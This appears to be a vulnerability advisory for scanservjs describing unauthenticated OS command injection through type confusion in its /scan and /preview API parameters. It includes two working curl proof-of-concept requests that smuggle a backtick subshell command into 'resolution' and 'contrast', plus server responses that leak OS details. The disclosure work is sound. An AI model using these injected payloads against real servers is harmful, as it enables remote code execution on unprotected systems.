Scanservjs has a RESTful API that provides endpoints for interacting with scanners using the SANE library. There are two APIs for scanning an image and generating a preview image that call out to Process.spawn
, invoking a scanimage
command as a subprocess of the server, and passing arguments from the API request body as arguments into the subprocess. Both APIs suffer from OS Command Injection via type confusion in several parameters in the POST body. While the business logic does sanitize string parameters from these API calls, it doesn’t sufficiently prevent arrays of strings from being passed in several vulnerable POST body parameters. This allows an attacker to pass a JSON array with a single string parameter, buffeted by backticks, which gets formatted as a string and placed in the arguments for scanimage
. This ultimately executes a subshell with an arbitrary command passed by the attacker, leading to remote code execution. While scanservjs has the option to enable HTTP Basic Auth, it is hidden in the config and there is no documentation on this feature, therefore this is a remote code execution without authentication by default.
Request:
curl --request POST \
--url http://localhost:8080/scan \
--header 'Content-Type: application/json' \
--data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":["`cat /etc/os-release 1>&2`"],"width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed"},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'
Response:
{
"message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution `cat /etc/os-release 1>&2` -l 0 -t 0 -x 216 -y 297 --format tiff -o data/temp/~tmp-scan-0-0001.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
"code": -1
}
Request:
curl --request POST \
--url http://localhost:8080/preview \
--header 'Content-Type: application/json' \
--data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":100,"width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed", "contrast": ["`cat /etc/os-release 1>&2`"]},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'
Response:
{
"message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution 100 -l 0 -t 0 -x 216 -y 297 --format tiff --contrast `cat /etc/os-release 1>&2` -o data/preview/preview.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
"code": -1
}